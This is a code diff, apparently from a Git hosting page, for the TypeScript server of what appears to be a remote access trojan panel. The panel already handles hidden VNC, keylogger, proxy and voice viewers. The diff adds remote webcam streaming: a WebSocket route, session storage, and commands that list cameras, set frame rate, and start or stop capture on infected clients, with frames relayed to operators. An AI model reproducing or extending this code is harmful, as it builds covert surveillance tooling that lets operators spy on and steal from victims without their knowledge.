}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "webcam_stop", {});
|
||||
deps.webcamStreamingState.delete(removedClientId);
|
||||
logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
|
||||
@@ -91,6 +91,24 @@ export async function handleWsUpgradeRoutes(
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
|
||||
if (webcamMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = webcamMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
|
||||
if (fbMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
@@ -194,7 +194,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
return;
|
||||
}
|
||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
||||
safeSendViewer(ws, { type: "status", status: "online", sessionId });
|
||||
}
|
||||
|
||||
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
||||
@@ -385,6 +385,86 @@ function handleRemoteDesktopFrame(payload: any) {
|
||||
};
|
||||
|
||||
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
|
||||
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean }>();
|
||||
|
||||
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllWebcamSessions().set(sessionId, session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
return;
|
||||
}
|
||||
safeSendViewer(ws, { type: "status", status: "online", sessionId });
|
||||
sendDesktopCommand(target, "webcam_list", {});
|
||||
}
|
||||
|
||||
export function handleWebcamDevices(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false };
|
||||
switch (payload.type) {
|
||||
case "webcam_list":
|
||||
sendDesktopCommand(target, "webcam_list", {});
|
||||
break;
|
||||
case "webcam_select": {
|
||||
const index = Math.max(0, Number(payload.index) || 0);
|
||||
state.deviceIndex = index;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
sendDesktopCommand(target, "webcam_select", { index });
|
||||
if (state.isStreaming) {
|
||||
sendDesktopCommand(target, "webcam_stop", {});
|
||||
sendDesktopCommand(target, "webcam_start", {});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "webcam_set_fps": {
|
||||
if (state.isStreaming) {
|
||||
safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" });
|
||||
break;
|
||||
}
|
||||
const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30));
|
||||
const useMax = !!payload.useMax;
|
||||
state.fps = fps;
|
||||
state.useMax = useMax;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
sendDesktopCommand(target, "webcam_set_fps", { fps, useMax });
|
||||
break;
|
||||
}
|
||||
case "webcam_start":
|
||||
if (!state.isStreaming) {
|
||||
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
|
||||
sendDesktopCommand(target, "webcam_start", {});
|
||||
state.isStreaming = true;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
}
|
||||
break;
|
||||
case "webcam_stop":
|
||||
sendDesktopCommand(target, "webcam_stop", {});
|
||||
state.isStreaming = false;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
@@ -518,6 +598,16 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
||||
return sent;
|
||||
};
|
||||
|
||||
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
let sent = false;
|
||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewerFrame(session.viewer, bytes, header);
|
||||
sent = true;
|
||||
}
|
||||
return sent;
|
||||
};
|
||||
|
||||
const textDecoder = new TextDecoder();
|
||||
|
||||
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
|
||||
@@ -12,6 +12,7 @@ import type {
|
||||
|
||||
const consoleSessions = new Map<string, ConsoleSession>();
|
||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||
const processSessions = new Map<string, ProcessViewer>();
|
||||
@@ -48,6 +49,28 @@ export function addRdSession(session: RemoteDesktopViewer): void {
|
||||
rdSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function addWebcamSession(session: RemoteDesktopViewer): void {
|
||||
webcamSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function getWebcamSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
return webcamSessions.get(sessionId);
|
||||
}
|
||||
|
||||
export function deleteWebcamSession(sessionId: string): boolean {
|
||||
return webcamSessions.delete(sessionId);
|
||||
}
|
||||
|
||||
export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||
return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId);
|
||||
}
|
||||
|
||||
export function getAllWebcamSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return webcamSessions;
|
||||
}
|
||||
|
||||
export function getRdSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
|
||||
@@ -5,6 +5,7 @@ export type SocketRole =
|
||||
| ClientRole
|
||||
| "console_viewer"
|
||||
| "rd_viewer"
|
||||
| "webcam_viewer"
|
||||
| "file_browser_viewer"
|
||||
| "process_viewer"
|
||||
| "notifications_viewer"
|
||||
|
||||
@@ -140,7 +140,14 @@ export function handleFrame(info: ClientInfo, payload: any) {
|
||||
let sentToViewers = false;
|
||||
try {
|
||||
const globalAny: any = globalThis as any;
|
||||
if (header?.hvnc) {
|
||||
if (header?.webcam) {
|
||||
if (globalAny.__webcamBroadcast) {
|
||||
sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header);
|
||||
}
|
||||
if (sentToViewers) {
|
||||
return;
|
||||
}
|
||||
} else if (header?.hvnc) {
|
||||
if (globalAny.__hvncBroadcast) {
|
||||
sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header);
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||
|
||||
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"hello",
|
||||
@@ -24,6 +24,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"keylog_clear_result",
|
||||
"keylog_delete_result",
|
||||
"voice_uplink",
|
||||
"webcam_devices",
|
||||
]);
|
||||
|
||||
export function isAllowedClientMessageType(type: string): boolean {
|
||||
|
||||
Reference in New Issue
Block a user